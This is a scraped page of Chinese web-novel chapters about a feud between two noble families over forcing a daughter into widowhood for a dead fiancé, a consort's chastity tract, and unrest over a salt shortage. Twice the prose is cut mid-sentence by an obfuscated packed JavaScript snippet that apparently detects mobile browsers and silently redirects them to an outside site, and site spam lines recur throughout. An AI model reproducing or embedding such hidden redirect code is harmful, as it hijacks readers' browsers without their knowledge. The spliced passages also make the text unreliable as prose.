着了,直接指着李夫人的鼻子就是一顿唾骂。 他是满京城都知的小纨绔,被杨大人打已经是家常便饭,这会儿虽说有人不赞同,但也已经习惯他这种不着调的行为,倒是李夫人,以往那是满京城都称赞的贤惠人。这会儿被个小辈堵在门口噼里啪啦一阵唾骂,几乎要把她给气死,更何况杨林源那小子真是荤素不忌,啥都敢往外说。 以往大户人家之间翻脸,总要给彼此蒙上一层礼仪廉耻的遮羞布。恨不得委婉再委婉,哪儿会遇上像杨林源这般不要脸,也不想让对方要脸的人? 第一百九十二章 你闺女怎么不守寡? “老妖婆,以往仗着你是长辈,没少对我姐姐冷嘲热讽。当我不知道呢,你还在外边儿说过,我是个没用的儿子,以后不仅撑不起门楣,还要给自己家招祸。我呸,我怎么样?我爹娘还没说,你个外人有什么资格指手画脚说三道四?想当你的贤惠人,在自己家当去!别在外边丢人现眼!当谁都跟你家似的,得听你的呀!” “要我说李伯伯也真是可怜,不仅自己眼睛耳朵不太好,看不到也听不着自己妻子做了什么事儿,好不容易得来的宝贝儿子也去世了。这中间到底发生了什么难说的很啊,毕竟您家的后院不是出了名的清净吗?” “你!你这个无耻小儿……” 李夫人年纪大了,而且当着这么多陌生人,她也想维持一下自己的形象,因此说话也慢。然而杨林源可不管她,他年轻力壮,正是嗓门儿大思维转的快的时候,根本不等对方把这句话说完,直接噼里啪啦的堵了回去。 “我怎么了?我怎么无耻跟你无关!就算我是个无耻小儿也知道别人家的事儿少管!哪像你呀,顶着大人的名头,长辈的身份,贤惠的名声对别人家的女儿儿子指手画脚。我呸!就你这样的婆婆,我还不敢把自己姐姐嫁给你呢。踩着别人的名声彰显自己的道德,你这么会说话,这么会拉踩别人,你咋不上天呢?” “哦,我知道了,你平日里这样的事情肯定没少干,不知道多少人都在外面戳你的脊梁骨呢,还真以为自己是根葱了?真是好笑。看不清自己的人最可笑,真以为顶个贤惠的名声就能高枕无忧了?老妖婆,你自己没有闺女?圣人都说己所不欲,勿施于人。你怎么不给自家闺女找个快死了的男人,等对方死了之后,让你闺女守望门寡?好标榜你们李家有贞洁烈女?!” 哇,这个消息就太劲爆了,那些原本等着听八卦的小厮们都忍不住窃窃私语。这位李夫人以前也是京城远近有名的贤惠人,没想到私底下竟是这么个性情,竟然逼着人家未过门的女孩儿给自己死了的儿子守望门寡。 而且听杨家小少爷这话,李家跟杨家只是通过气,连三媒六聘都没提起,那李家少爷就不幸去世了。虽说那么年轻的郎君就此去世实在令人惋惜,可这也不是李夫人让杨家小姐守望门寡的理由吧?杨家小姐也是父母疼爱着养大的心肝宝贝,凭什么要守这望门寡? 怪不得杨家小少爷这么生气呢,要是换成他们家,会更生气。 李夫人本来就比不上杨林源能豁得出脸面,这会儿看见那些平日里瞧不上的小厮下人们窃窃私语,更是脸色难看。 再等下去,杨家的臭小子就要把他们家所有事儿都抖出来了。 “快去请老爷回来。” 有管事儿,连滚带爬的冲出去找自家老爷,杨林源自然也看到了,不过他也没阻拦,今日他就是要把这里的事儿都闹大。真当他们家是好欺负的呀!这种婆娘,不跟她真刀实枪的对上,对方还真以为他们怕事儿呢。 这里闹得不成样子,京兆府尹也很快得到了消息,他简直都快哭了。要说全京城最不好做的官儿是谁?头一个就要数京兆府尹了。天子脚下,重臣繁多,还有那么多皇亲国戚达官贵人,他这么个小官儿能得罪的起哪个呀?谁他都得罪不起。 好不容易清净些,喝杯茶水就看到手下的师爷急匆匆的奔进来,一瞧见对方的模样,京兆府尹就晓得又出事儿了,但是等听清楚发生了什么之后,他简直不敢相信自己的耳朵。 “你说谁和谁吵起来了?!” “是杨家小少爷和李夫人!” 京兆府尹手一抖,上好的青瓷茶碗直接摔在地上,粉碎! “不是,他们两个吵起来?为什么呀?他们两家不是要做亲家了吗?这时候还能吵起来?” 不得不说李夫人的行动能力实在是有够强悍,经过她这段时间持之以恒,坚持不懈的宣传,整个京城都知道他们两家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14751757|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本来是要结亲的。 “嗨,李家那少爷前些日不是从马上跌下来摔死了吗?结果李夫人非得让杨家小姐给她过世的儿子守望门寡,甚至还想让人家自尽保全名声,换一座贞洁牌坊!杨家小少爷肯定不能眼看着自己姐姐受罪啊,所以就冲到李家门口跟李夫人对骂起来。” “这,你说说这叫什么事儿啊?这贞洁牌坊我都快二三十年没听说过了吧。” 这几十年间各地一直在打仗,谁会让人守望门寡?就连寡妇也得由官府安排着赶紧找人嫁了,因为人口不足啊。别的不说,就他们陛下上位至今,从未给任何一个女子赐过贞洁牌坊,这玩意儿,有什么用啊? 而且私心上京兆府尹也不喜欢李夫人说的这些话,他家中也有两个女儿,从小千娇百宠的长大。大女儿五年前出嫁,夫君过了一年不小心病死了。照李夫人这么说,他家大闺女岂不是也得守寡?甚至要自尽以全家人名声? 但凡是个正常人,谁会眼睁睁看着自家闺女受这份罪呀? 但他位卑职小,不敢招惹李夫人,这会儿也有些头疼。 “就没去个人劝劝?” “大人,您是不知道啊。杨小公子那脾气,那嘴,谁敢上前?李夫人都快被他骂的撅过去了。其他人也只是在旁边看着 ,根本不敢上手。不过去那边儿看热闹的人越来越多,街道都被堵起来了,咱们是不是要去疏通街道啊?若是坐视不管,明儿个大人您又要挨参了。” “唉……” 京兆府尹觉得自己本就不多的头发又要掉一大把了,愁眉苦脸的好生叹了会儿气,苦思冥想之下也顾不了许多了。 管那么多做什么,他现在是京兆府尹,维持京城安宁本就是他的职责,先去把街道疏通再说。至于那吵架的两家,自有他们家主事儿的去管。而且就今儿发生这事儿,明日那些御史肯定跟闻到腥味儿的猫似的,非得各参他们一把! 第一百九十三章 这本来也是女子应有的本分 这边儿乱哄哄的,李大人也不好再装聋作哑,匆匆回府,看着连骂十句都脸不红,气不喘的杨林源,颇感头疼。 以前他只听杨大人提起过这个小儿子混不吝。每天在外边儿惹事儿,回家挨打挨骂跟家常便饭似的。往常也只是暗地里笑笑,杨兄竟然有这么个老来子,真是个讨债的。不过杨林源很有分寸,惹事儿也不会惹到他们这些大人面前,谁曾想今儿个直接给他们来了招狠的。 直面对方噼里啪啦连绵不绝的话,李大人才知道往常为什么有那么多人跟着小子打起来了,实在是骂的太难听。偏偏这小子骂人还不带一个脏字儿,就是能把人气的喘不上气儿,没看他的妻子这会儿已经气的脸红脖子粗,上气不接下气儿了吗? 好不容易挤开那些看热闹的,李大人艰难走过去,整整衣服,眉头微蹙。 “杨贤侄,你这是做什么?有什么话咱不能坐下来好好说?你我两家可是世交。杵在这儿让别人看笑话多不好?” “是李伯伯啊,我还以为是谁呢,怎么?李伯伯您今日不忙了?我还以为你又跟往常一样整日待在衙门,忙的不可开交呢。” “……” 这话怎么听起来怪怪的?李大人直觉这其中有炸,但是一时间也猜不出来,只能尽量让对方安静下来。 “杨贤侄,我想这其中肯定有误会,不如这样吧,你先进府喝杯茶去去火气,咱坐在一块儿好生说道说道,有什么误会也好解开。免得被别人看笑话不是?” 杨林源很会阴阳怪气那一套。 “我是哪个场面上的人?我哪敢跟李大人坐在一起喝茶?我不过是个没用的纨绔子弟罢了,这次前来也只不过是想为我家姐姐讨个公道。咱就当着这么多人的面儿直接摊开来说清楚吧。李伯伯,您也是个排面人,我就想问一句,您家儿子跟我家姐姐之前确实有意定亲,但根本没来得及定,你家儿子就不幸从马上摔下来跌死了。你说是不是?” “……” 李大人脸色有些难看,他这辈子最值得骄傲的就是那个不幸去世的儿子。从小读书识字,学富五车,日后必能位极人臣。谁曾想竟然因为一场小小的意外去世了,每每想起李大人都痛彻心扉,不过短短一年,看起来像是老了十岁。 即便不想回答,但李大人还是勉强点了点头。 杨林源乘胜追击。 “我当然也很敬佩李兄,我们这一辈儿他算是最有出息的一个。可是李伯伯,事儿不是这么做的。李兄去世,我们全家都感到遗憾惋惜,可就算再怎么惋惜,您也不能放任自己的妻子在外头抹黑我姐姐的名声!我姐姐还年轻,年华正好,读书识字管家,无一不精。出身家世,外貌才情,无一不好。凭什么不能找个好人家?” “这,贤侄,只怕这期间有些误会,我也算看着你姐姐长大,更何况她和我家孩子又有这么一段姻缘,我自然希望她日后能过得好。所以我才说这中间一定有误会,不如叫你父亲前来,我们两个做大人的也好说话……” “不用了,我已经来了。” 杨大人不知何时已经前来,此刻分开众人来到中间。看到杨大人李大人像是发现了救星一般,同时又有些羞愧,这些本来只是小事,没想到会闹得这么大。别看现在周围没有同僚,等明日上朝肯定会被那些御史台的人参个半死。 “杨兄,实在是抱歉,我实在不知家中夫人做了这些事……” “李兄不必说了,我都知道。嫂夫人在外面说了什么话,你又没曾跟她一同前去,怎会知晓?这不是你的错。” 对比嚣张跋扈的杨家小子,还是杨兄看起来更温和懂礼些。 只是李大人还没来得及高兴,紧接着杨大人的话就把他震了个稀碎。 “只是李兄你也知道,我家小子虽然多,但闺女却不多,我疼他们跟疼眼珠子似的,之前还是你主动提起,我看你家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14751758|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孩子确实不错,才同意了。但这只不过是你我二人之间的默契,两个孩子连庚帖都没换过,因此嫂夫人所说换贞洁牌坊一事,请恕我不能认同。那是我和娘子辛辛苦苦养大的闺女。不求他能有什么大出息,只求他能一辈子平平安安,顺顺利利的。这也是为人父母的一点心愿。李兄您也是为人父的,应当理解我的心情。我实在是不愿意让自己的女儿受这份儿罪。不如今日就趁着这个机会说清楚,你我两家本就不曾有过亲事。以后更是不会有。至于这守望门寡,贞洁牌坊等事,还请嫂夫人日后不必在外面提起。” “我的女儿,哪怕不成亲,只要她自己愿意。我这当爹的只有支持的份儿。但我唯独不会不顾女儿的意愿,用她一辈子的幸福给自己增添一层好名声。这不是为人父母能做之事,实在是违逆人伦,请恕我不能赞同。” “今日这么多街坊邻居都看着,咱们两家刚好就此一刀两断。” “杨兄?” 李大人都惊呆了,什么情况?怎么就发展到要一刀两断的地步了?他们好像也没做什么吧?不就是夫人在外面说了几句闲话吗?值得把两家这么多年的交情都给断了? 这不单单是两个人之间的交情,这个是两个家族之间绵延这么多年的交情呀! “ 杨兄,你要不再考虑考虑?不值得弄成现在这样吧?若是你实在过不去,我让夫人给你道歉不行吗?” “我才不会道歉,我根本没说错什么!” 已经被刺激了大半日的李夫人这时候终于坚持不住大声呼喊,仿佛要把自己受得所有气都发泄出来! “杨林颖跟我儿定了亲,一生一世都是我儿的人,哪怕我儿死了,她也要跟着我儿一起!她若是不想死就赶紧嫁过来,我给她划个小佛堂,以后一辈子给我儿吃斋念佛,让我儿早登极乐!这才是做女子应有的本分!到时候我允许她跟我儿子葬在一起,享受香火也有她的一份!” 第一百九十四章 母妃说的对 “……你这个老妖婆还在这儿胡说八道!你怎么不去守望门寡?我看你这老妖婆造口业不断,给你儿子积不了德,要想给你儿子积福,还不如你这个当娘的每日吃斋念佛诵经经超卷,也能让他早日安息。” “李伯伯,以前你说你不知道,今儿个你可是亲耳听到了吧?她平日里就是这么说我姐的!你听听,这像个慈爱长辈能说出来的话吗?我听了都觉得瘆人!” 李大人其实也有些惊讶,他知道自家夫人这些时日在外头说了一些不太好听的话,但因为儿子新丧,他也体谅夫人心中的悲痛,因此并没有多加管束。 这还是他第一次原模原样听到夫人说的话。不得不说就算是他也觉得有些刺耳,但夫妻一体,此刻在外人面前,他还是要维护自家夫人的面子。 “贤侄,你伯母她不是那个意思……” “我就是这个意思,姓杨的,我告诉你们!识趣的就赶紧把闺女拾掇拾掇,送到我家!否则我倒要看看,这满京城有哪家的儿郎敢娶你家闺女?!” 这下不仅是杨林源,连杨大人都有些绷不住了,他可是掌管护城军的安远伯!虽说平日里逢人就笑,但这并不代表他脾气好!这女人实在欺人太甚,当着自己的面都敢这么嚣张,背地里还不知道编排了他家闺女多少! 简直是找死! 安远伯脸上笑容一收,对面的李大人立马察觉到他不高兴了,连忙上前一步握住安远伯的胳膊。 “杨兄,我实在是不知……” 安远伯刷的一下把手收回,同时狠狠把自己半幅袖子撕下来,扔到李大人脚下。 周围人都被这突如其来的一幕给惊呆了。李大人也是,他目瞪口呆的看着脚下那半片袖子,再抬头看看安远伯。 “杨兄,你……” “李大人日后不必如此称呼我,你我自此割袍断义,日后再相见便只有同僚之谊。告辞!” 安远伯直接转身拽着自家目瞪口呆的蠢儿子大步离开,留下身后一片残局,眼见着安远伯离开,周围等消息的小厮们那叫一个激动振奋,彼此之间说话的声音都大了不少。 以李大人的耳力,都能听到那些小厮们不遗余力编排自家的声音。他颤抖着收回手,低头看看地上那半片袖子,整个人都在不停发抖。李夫人本来还想耍横,但是瞧见李大人的动静有些不对,连忙上前扶了他一把。 “老爷,你没事吧?” 李大人瞪大眼睛死死的盯着她,张了张嘴,试了好几次都没成功,说出话来,猛然一个趔趄,仰天倒地。 李夫人发出一声高亢的尖叫,本来想扶住他,奈何李大人可比她高大许多,两人一起狼狈倒地,可叫外人看够了笑话。 且不说李大人醒后会是如何糟心,今日这场闹剧眨眼之间就传遍了京城,甚至还传到了皇宫。 智秀宫。 莫妃听说这件事之后一直闷闷不乐,二皇子得到消息匆匆进宫,迎面对上的就是自家母妃泪意涟涟的脸。 二皇子顿时惶恐不安,连忙跪在莫妃脚下请罪。 “母妃,这是谁惹您生气了?您告诉儿臣,儿臣给您出气。” 莫妃用绣着翠竹的帕子蒙在脸上,眼泪很快就浸湿了那块帕子。二皇子接连催问了好几遍,甚至对着莫妃身边的人发火,她才哽咽着开口。 “皇儿,母妃是不是给你找麻烦了?都是母妃的不是,母妃本来只是想帮帮你,谁曾想这京城里的人并不喜欢母妃出的书。还连累了你的名声……” 说着说着眼泪又大颗大颗往下流,二皇子简直快要急死了。 “母妃这话从何说起?这些时日与我相交的京中子弟对母妃所着《女诫》十分推崇,他们家中姊妹们都非常喜爱这本书,几乎手不释卷。” “今日,安远伯和李夫人之间的争执,皇儿难道没听说?李夫人不过是喜欢我写的书,没想到却在自家门口遭受如此羞辱,那个杨家小子可是晚辈,竟然对长辈口出狂言。这叫李夫人日后该怎么出门见人啊?还有安远伯,竟当众与李家恩断义绝,这不是在打我的脸吗?不,这不仅是在打我的脸,还是在打皇儿的脸!太过目中无人了些……” 二皇子还真是头一回听说这两家之间的恩怨,主要他这段时间经常和京中子弟出去宴饮联络感情,这猛然一听说,自己也有些惊讶。 “母妃,他们两家之间恩断义绝总得需要个理由吧?难道仅仅是因为不喜欢母亲的书?” 二皇子还是有自己的基本判断的,然而他却总是扛不过自己母妃的眼泪,听到他这么说,莫妃那叫一个伤心欲绝。 “皇儿难道是担心母妃骗你吗?这事儿大半个京城都知道,不少人都亲眼目睹。不过是李夫人想让杨家的女儿嫁过来为她早死的儿子守寡,也已经允诺过会好好对那杨家女儿,甚至愿意分割出大半家产供养杨家女。她都已经做出这么多退让,偏偏杨家得理不饶人,不仅不愿意,还口出狂言,当街侮辱。” “还说什么自家的女儿绝对不会守望门寡,若是天下女孩儿都像他家女儿那般。这天下还有礼法吗?还有道义吗?从一而终,这是女子最美的品德。你看看母妃,看看宫中诸位妃子,谁不是这般?难道他杨家女比陛下的妃子还要尊贵?” “这……” 二皇子本能觉得这其中好像有什么不太对劲的地方,但是被自家母妃的眼泪一淹,就忍不住盲从了。更何况他自己也不喜欢那么咋咋呼呼的人家。说是为了自家女儿一辈子的幸福,保不准是想用自家闺女搭上一个更有利的亲家。 “母妃说的对,女子确实应从一而终,哪怕李家子已死,杨家女也当贞洁自爱。李夫人提出这样的要求并不过分,反倒是杨家,嚣张跋扈惯了,竟当着满京城的面这般羞辱李家,实在过分。” “等我禀告父皇,对杨家做出处置,这样整个京城的人就知道皇家的态度,自然会更认同母妃的学说。” “不,这事儿不能让你父皇知道。” 喜欢郡主不可以登基吗?请大家收藏:()郡主不可以登基吗?更新速度全网最快。 第一百九十五章 二皇子所言甚是 “为什么不能让父皇知道?若是父皇能说句话,比得上咱们努力好几日呢!” 莫妃摸了摸二皇子的头发,十分慈爱。 “傻孩子,你哪里知晓这其中的利弊?若是让你父皇出面,这件事儿就成了板上钉钉,但难保那些臣子心中还有不服。若是你出面,让那些人发自内心的认同,日后他们也会多多支持你,毕竟你以后可是要做大事的人。不率先将那些人拉拢到咱们这边,若是日后都跑去找你四弟了,那你该怎么办?” 莫妃说的有鼻子有眼,二皇子想了想,觉得母妃说的对。毕竟从小到大,自己所有的一切都是母妃亲手包办的,母妃怎么可能会害他呢? 于是二皇子干脆利落的接受了莫妃的建议。母子二人都达到了自己的目的,这会儿气氛相当和谐。 莫妃摸着自家儿子的脖子,转而又想到了那没福气的儿媳。 “唉,说起来你那媳妇儿也真是没福分,嫁给你这五年不仅没给添个一儿半女的,这种关键时候竟然还死了。你说说现在外头指不定该怎么传咱们母子两人呢?明明是她自己没福气,现在还都成了咱们的错了。” “母妃提起她做什么?” 这会儿没有外人在场,二皇子一脸的晦气。 “当初儿臣就说不喜欢她。小门小户出身,既不能给儿臣带来助力,性情又沉闷。若不是父皇非得把她赐给儿臣做正妻,儿臣才不会娶那样一个沉闷无趣的女人。” 只是可惜,他不能反抗身为皇帝的父皇,所以只能自己冷着,这也是成亲六年后院无所出的原因。外人只知道他成亲六年,后院中只有正妻一人,还当他如何尊重爱戴这位妻子,殊不知从成亲之日起,他就从未踏入过二皇子妃的正房。根本就不和那个女人亲密接触,她如何能有孩子?而且这样的事情,那个女人好意思在外人面前说吗? 当然,这样的话他是不会当着外人的面说的。不得不承认的是,那女人能在如今自己势头正好的时候乖巧死去,当真是帮了他好大一个忙。 “我儿说的也是。不必担心,母妃这些天正在为你寻摸好人家的闺女。保管是世家大族出身,不仅出身高贵血脉纯正,而且娘家有用的父兄众多,能为你办事。最关键的是容貌各顶各的一绝,绝对不会让我儿觉得丢人。” 二皇子脸上浮现出一抹难以察觉的羞涩,有些不好意思的用脑袋拱了拱莫妃的手心。 “母妃……别的都不重要,最重要的是那些女子得乖巧恭顺,性格不能太强势。肖氏就是如此,我才不喜。再找的皇子妃万万不能像她这样。” “看这孩子,还害羞呢,都多大的人了。” 莫妃笑盈盈的抚摸着二皇子的脑袋,一边抬头跟自己的贴身嬷嬷笑谈。 那位嬷嬷连忙陪笑,不断应和,说二皇子只是有孝心,故意逗莫妃娘娘开心,只是那表情怎么看怎么带着一丝僵硬。 二皇子小的时候这样撒娇卖痴确实可爱,可他如今已经二三十岁了,还做出这样的小儿情态,总让这位嬷嬷觉得不太对劲。事实上,不仅是她,这宫中上上下下都觉得二皇子这样的状态不太对劲,可谁又敢对莫妃娘娘说这些呢? 大家只能装作自己是个瞎子聋子,看不懂听不懂了。 这边母子二人还在母子情深,杨家李家这场官司却是迅速传遍朝野上下,第二日上早朝的时候,十几个御史台的御史都跳出来参杨李二人,说他们持家不正,当街失仪,并且当众悔婚,没能给百姓树立一个好榜样。 这前面儿的,安远伯听听也就算了,后边儿这一条是怎么回事儿?那李家小子都已经死了,他们怎么算是悔婚嘛?他家闺女根本就没迈进李家大门一步,怎么就成婚事了?胡说八道也得有个限度不是?但是当着满朝文武的面,安远伯十分乖顺的跪下。 “陛下,臣有罪。” 景泰帝又不是什么傀儡皇帝,这满京城发生的事儿有什么是他不知道的?更何况这两家的龃龉都快传遍整个京城了,他怎么可能不听上一两耳朵? 但景泰帝并没有表现出自己明显的偏好,或者说他根本没来得及安抚安远伯,就看见一个黄灿灿的身影迫不及待的站出来。 “陛下,儿臣以为,既然杨李两家已经有婚约,那么就算李家公子因意外去世,杨家小姐也应该嫁过去,尽奉养公婆之责。待日后从未出五福的李家族人中挑选合适的嗣子抚养长大,也算尽了做妻子的责任,日后也有香火供奉,岂不善哉?” 景泰帝几乎以为自己今早上喝的那碗养生茶灌进了耳朵里才会听到这样离谱的发言。强行抑制住眼前的晕眩,景泰帝仔细看看,发现说话这人竟然是自己那平日里八竿子打不出一个屁的二儿子。 好,好啊。 昨日得到的消息里,他这个儿子就在这桩两家人之间的官司里占据了极大位置。归根结底还是因为二皇子在众人面前说女子应该遵守的规则,以及莫妃搞出来的那什么《女诫》。就算他跟安远伯没什么交情,也不会同意让人家水灵灵的闺女嫁过去守望门寡。 更何况安远伯也是当初陪他一起打天下的兄弟,景泰帝也曾见过他家小闺女。怎么会同意这种乱七八糟的说法? 然而景泰帝并没有立即说话,他只是稳坐高台,安静的瞧着下面,越来越多的臣子出声支持二皇子的看法。 “臣认为二皇子所言不无道理,如今这世道,女子是越来越不守规矩了,不仅有性情不够恭顺的,甚至还有在街上抛头露面做生意的。这实非淑女所为。莫妃娘娘所着《女诫》字字箴言,臣认为应该推广天下,让全天下的女子都学习莫妃娘娘的高尚品德!” “臣也认为,二皇子所言甚是。女子本就应该遵守三纲五常,在家孝顺父母公婆,尊敬丈夫,抚养子女,掌握中馈,这才是女子应有的品德……” 喜欢郡主不可以登基吗?请大家收藏:()郡主不可以登基吗?更新速度全网最快。 第一百九十六章 来船 二皇子本来见景泰帝久久不说话,还有些忐忑,但是见周围这么多大臣都愿意支持自己,心里感动的不行。但也有一些臣子并没有支持自己,二皇子可能记不住哪些人支持他,但他绝对能记住哪些人不支持自己。如今父皇就剩下自己和四弟两个儿子,自己比四弟年长,这皇帝之位岂不是拿捏的妥妥的?这时候不支持自己,明摆着就是支持四弟…… 以安远伯为首的大臣们看着眼前这荒唐的一幕,甚至觉得自己在看戏。这是什么情况? 他们怎么记得大景都已经建立十三年了?这怎么还会重现前朝末年时期那种对妇人的强力束缚?照他们这么说下去,前朝末年还盛行女子缠足呢?难道现在也要对女子进行缠足不成? 陛下可不会同意这些荒唐的请求。 “……因此臣请求陛下亲自下旨,令安远伯之女与李家已故公子完婚!” 景泰帝长长的叹了口气,然后挥袖而起,面无表情的转身离开。 底下那些原本慷慨激昂的臣子们,包括二皇子都傻眼了,这什么情况?陛下怎么突然就离开了?就算要离开陛下也应该说句准话呀,他到底是赞同还是不赞同? 这让二皇子很尴尬呀!父皇难道不知这种情况下不出言支持自己对他的威信会有很大打击?他都这么大个人了,在朝堂上发表自己的看法,父皇不仅不支持,还甩脸就走。这不是当众给他难堪嘛? 察觉到周围臣子的视线在他脸上绕来绕去,二皇子心里那叫一个难受。他虽说以前默默无闻了些,可父皇母妃对他都相当关注,从未在别人面前给自己甩过脸子,可现在父皇是怎么了? 二皇子满肚子委屈,殊不知景泰帝才是满腔怒火。他以前也没觉得自己的儿子们如此愚蠢,估计是被猪油糊了眼,现在把那层猪油扒开来看看,简直一个比一个蠢。老二以前也没这么蠢笨,看来是以前没机会表现自己。这种狗屎主意也能想的出来?大景虽说已经建立十三年之久,可天下百姓并未从贫困饥饿中挣脱出来。前朝末年,连绵不绝的战争给百姓带来的创伤实在太大了,时至今日人口都没有恢复。 如今这种情况不大力支持守寡女子再嫁,反而让一个根本没有婚约的女子嫁给已经死了的男人守望门寡。这究竟是什么样的天才发言?景泰帝之所以急匆匆离开,是因为他担心控制不住自己的手,冲下去对着二皇子那张蠢笨迷茫的脸就是一段猛揍! 蠢笨如猪! 他一辈子英明能干,怎么会有如此蠢的儿子? 唉…… 难道是因为当初抢地盘儿的时候杀人太多,造了杀孽? 景泰帝可以转身离场,底下那些臣子们见连正主都离开了,陛下身边的九福太监又高声宣布大家可以退朝,于是没吵完的只能把话咽回肚子里,气冲冲的离开。 不过陛下今日模糊不清的态度,让很多人摸不清景泰帝的看法。一部分臣子认为景泰帝生气了,可到底因为什么生气,大家又说不清楚。于是只能静观其变。 倒是二皇子近段时间大出风头,自掏腰包将那本《女诫》印了上万册,本来准备免费分发给京城诸位官员。没想到大家十分支持,纷纷表示自己愿意出重金购买。大家诚意这么足,二皇子也就不好意思免费发放。印了一回书,赚了上万两银子。现在外头到处都是对二皇子孝心的赞扬,可谓是名利双收。相比较之下,如今陛下仅剩的四皇子根本没有任何出挑之处。虽说有一部分人不看好二皇子,但二皇子比起四皇子而言,好了不止一星半点。 眼看陛下就剩这两个儿子,总得从里边儿选个赢面较大的吧?若是能博上个从龙之功,眼下这点儿非议又算得了什么? 当然,有更多人支持二皇子是源于自己那无法言说的小心思。景泰帝近段时日太过宠信那位应县主。不仅让她当钦差,而且还给了打神鞭。这样的宠信实在让一群老中青官员们看了嫉妒。若是不加以制止,谁知道陛下接下来还会授予那应县主什么官职?据说如今已经催着礼部想更好的封号了。 本来那应县主就有个当初被称为双子星的战神娘亲,更和如今边关屡战屡胜的娘子军有着千丝万缕的联系。现在还得到了陛下的重用,若是不再加以节制,日后岂不是要爬到他们头上去?更何况一个应九阙站出来了,其他的女人会眼巴巴的瞅着她建功立业,自己却安生待在内宅里吗? 若是让那些女子瞧到了权力的好处,还怎么用那些祖宗礼法把她们继续困在内宅之中? 这官场本来就难以晋升,跟男人们争也就算了,可若是和女人们争,输赢都是难题,传出去不好听啊。 于是,本就热闹的京城这段时间像是烧滚了的水,更加沸腾了。再加上大景食盐不够吃的谣言,那可真叫一个热闹。就连北蛮南苗那边都派来了使臣,也不知是趁火打劫,还是想借机瞧热闹,反正是热热闹闹的都进京了。 在这样的情况下,一艘吃水很深的大船顺着长河南下,且距离京城越来越近。 船头之上,九阙几人正在悠闲垂钓。只是船速过快,他们扔下去的鱼饵不是被水流冲走了,就是被那些机警的大鱼咬走,半天都没钓上来一条来。 九阙刷的一下把手中的鱼竿挥起来,这回更惨,不仅鱼饵没了,鱼钩都丢了。 淳于霜笑到打跌。 “九阙,你是准备用一根线钓上鱼来吗?” 九阙强行挽尊。 “你懂什么?我这叫姜太公钓鱼,愿者上钩。” “哦哦,愿者上钩,愿者上钩哈哈哈哈……” 九阙:“……” 滨阳王也笑她! 自从弄出来大量食盐之后,这几个小伙伴也不知道怎么的,精神亢奋的有些不正常。这么点小事儿也值得乐成这样? 郁卒的收起鱼竿,九阙只能寄希望于家中的小孩子们,多日不见,也不知远道他们如何了…… 喜欢郡主不可以登基吗?请大家收藏:()郡主不可以登基吗?更新速度全网最快。 第一百九十七章 闹起来了 这日清晨,驿馆又闹开了,那些从北蛮南苗赶过来的使臣一大清早的就开始找事儿。 在明知道大景自己盐还不够吃的情况下,非得闹着让大景支援他们食盐,而且还闹得满城风雨,那些本就神情紧绷的百姓们更是紧张不已。 这种情况下,谁还能稳稳当当的?而且闹了这么长时间,朝廷也没说个准话,这不是让百姓心里没底儿吗? 再加上有心之人的挑拨,憋了很长时间的百姓们终于忍不住了。先是有人冲到盐署疯狂敲门,逼迫里头的官吏将盐送出来,在久久得不到回应之后,众人更是着急,在有心之人的带领下冲击盐署,将门都给撞倒了!只是等百姓们冲进去一看,发现盐署后头的仓库里空空荡荡的,连一粒盐也没有,百姓们原本就紧绷的神经终于控制不住了,当即街上就有人大喊出声,说朝廷一粒盐都没有了,还瞒着他们,说不定是要把那些盐不给达官贵人们吃,不给他们了。 从古至今,人都是一种很容易被同类煽动的动物,如果现在大街上有陌生人喊着要打仗了要打仗了,你肯定不会相信,可如果你的街坊邻居,你的兄弟姐妹都在说要打仗了,并且疯狂抢购粮食收拾家当,眼看着要跑路,那你相不相信?肯定会相信。 大家本来就买不到食盐,更何况打开盐署,发现里边儿当真一粒盐也没有了,这放到谁身上谁不着急呀?人一着急,情绪就容易被煽动。 当京兆府尹得知消息的时候,整个京城的百姓都闹翻天了。浩浩荡荡的人群聚集在一起,朝着朝武门的方向进发,这要是真让百姓们聚集在朝武门聚众声势,他这个京兆府尹别说不能当了,就连这条命能不能保住还是两说。 当即京兆府尹就召集属下聚集,拼命阻挡,只是也不知为何,这些平日里温顺的百姓今日竟如此狂暴。眼见事态已经控制不住,京兆府也连滚带爬的进宫请求觐见。 今日刚巧还是大朝会,文武百官们本来还等着上朝,结果竟瞧见京兆府尹如此失态,都有些好奇。等他说出来之后,所有人都一副不可置信的模样。怎么可能?朗朗乾坤,天子脚下。百姓们怎么可能会做出此等狂暴之举? 不仅如此,四方驿馆的官员也愁眉苦脸的禀告。 “陛下,北蛮南苗以及周边小国的使臣已经接连几日请求我们交易食盐,并且态度一日比一日强硬,甚至还对四方驿馆的官员动手,臣实在是不知该怎么办了……” 龙椅上坐着的景泰帝头上戴着冠冕,底下众臣看不清他的表情,只能感觉到陛下的心情越来越不好。也是,如今这时局,竟然还出现这样的情况,谁也不会高兴。 片刻过后,景泰帝缓缓起身,在众臣惊悚的目光中从高台之上走下,对着众人挥了挥手。 “都跟朕来。” 大家都不知道陛下想做什么,彼此对视一眼,只能跟在后头,安静的往前走,景泰帝直接把这群人带到皇宫中最高的一座城楼之上,站在这里刚好可以越过朝武门看到大半个皇城,以及那条贯穿大景南北的长河。 此刻,在众人的视线中,浩浩荡荡的百姓从四面八方汇聚而来,径直走向朝武门,虽然离得远了,他们说话有些听不清,但还是模糊能听到其中几个字,关键词自然是‘盐’。 